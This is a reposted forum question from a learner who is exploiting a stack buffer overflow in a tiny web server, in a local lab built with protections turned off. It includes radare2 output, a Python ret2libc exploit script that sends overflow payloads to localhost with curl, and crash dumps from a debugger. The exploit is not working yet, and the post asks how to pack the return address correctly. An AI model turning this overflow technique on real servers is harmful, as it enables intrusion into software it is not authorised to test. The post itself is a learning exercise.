• caglararli@hotmail.com
  • 05386281520

How to properly pack address into bytes to overwrite EIP register

Çağlar Arlı      -    28 Views

How to properly pack address into bytes to overwrite EIP register

I'm learning how to exploit a tiny web server based on a well written post here: https://blog.coffinsec.com/2017/11/10/tiny-web-server-buffer-overflow-discovery-and-poc.html

I am very close to successfully exploiting it, but I am stuck on properly packing the libc's exit function address into the byte format to overwrite the EIP register and return to it.


Here are the exact steps I did to perform this exploit (as the webpage above omits few details, I figure this may help reproduce if anyone wishes to try as well):

  1. Use radare2 to get the necessary offset/addresses
~/Downloads/tiny-web-server (master*) » echo 0 | sudo tee /proc/sys/kernel/randomize_va_space    

~/Downloads/tiny-web-server (master*) » gcc -static -Wall -m32 -z noexecstack -fno-stack-protector -o tiny-noexec tiny.c  

~/Downloads/tiny-web-server (master*) » r2 ./tiny-noexec                                                                                      
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
 -- scp ~/.idapro/ida.key radare.org:/var/www/radare.org/pub/losers/
[0x08049ce0]> aaa
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Recovering variables
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods
INFO: Recovering local variables (afva)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
[0x08049ce0]> 
[0x08049ce0]> afl | grep process
0x0804ab04   13    386 sym.process
[0x08049ce0]> 
[0x08049ce0]> s 0x0804ab04
[0x0804ab04]> 
[0x0804ab04]> afv
arg int32_t arg_8h @ ebp+0x8
arg int32_t arg_ch @ ebp+0xc
var int32_t var_4h @ ebp-0x4
var int32_t var_ch @ ebp-0xc
var signed int fildes @ ebp-0x10
var int32_t var_14h @ ebp-0x14
var int32_t var_18h @ ebp-0x18
var int32_t var_1ch @ ebp-0x1c
var int32_t var_20h @ ebp-0x20
var int32_t var_220h @ ebp-0x220
var int32_t var_24ch @ ebp-0x24c
var int32_t var_268h @ ebp-0x268
var void * buf @ ebp-0x278
[0x0804ab04]> 
[0x0804ab04]> is | grep -wi 'exit'
2454 0x00009880 0x08051880 GLOBAL FUNC   33        exit
[0x0804ab04]> 

  1. Now, I use this information in my updated Python script (website uses Python2, so I updated it to support Python3):
#!/usr/bin/env python
## tiny-web-server x86 ret2libc exit() exploit - Ubuntu 16.04
from struct import pack
from os import system
from sys import argv
from pwn import *

buf_size = 0

# Allow for custome buffer size setting
if len(argv) != 2:
    buf_size = 538
else:
    buf_size = argv[1]

filler = b"A"*int(buf_size)
libc_addr = 0x08051880
exit_addr = p32(libc_addr, endian='little')

# Build the payload
payload = filler + exit_addr
print(payload, exit_addr)

# Send payload 11 times, 10 for each child process and 1 for the parent
for i in range(11):
    print("Sending payload of total length {}".format(len(payload)))
    system("/usr/bin/curl localhost:9999/\""+str(payload)+"\"")

Now, here is the question. I'm using the following code to pack the address into bytes format:

libc_addr = 0x08051880
exit_addr = p32(libc_addr, endian='little')

but when I successfully overflow the EIP register, it looks like this:

0.0.0.0:0 404 - b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQs
accept request, fd is 4, pid is 950346
0.0.0.0:0 404 - b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQs
accept request, fd is 4, pid is 950347
0.0.0.0:0 404 - b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQs
accept request, fd is 4, pid is 950348
0.0.0.0:0 404 - b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQs
accept request, fd is 4, pid is 950349
0.0.0.0:0 404 - b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQs
accept request, fd is 4, pid is 950350
0.0.0.0:0 404 - b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQs
accept request, fd is 4, pid is 950344
0.0.0.0:0 404 - b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQs

Thread 2.1 "tiny-noexec" received signal SIGSEGV, Segmentation fault.
[Switching to process 950344]
0x3530785c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────
*EAX  0x227
*EBX  0x3038785c ('\\x80')
 ECX  0x0
 EDX  0x0
*EDI  0x80481f8 ◂— 0x0
*ESI  0xffffc3b0 ◂— 0x1
*EBP  0x3831785c ('\\x18')
*ESP  0xffffc240 ◂— "\\x08'"
*EIP  0x3530785c ('\\x05')
────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x3530785c

I'm not too sure how to describe what is happening, but basically, bytes that I'm sending through curl are being understood as the string, and I am unable to properly overflow the EIP with the address of exit function to make the exploit successfully work?

Therefore, what is the proper way to "pack" address into bytes format so that I can overwrite the EIP register with an intended address? As I'm trying to access a gibberish address converted from the string. I tried everything I could think of at the moment, such as converting hex into ASCII format, etc.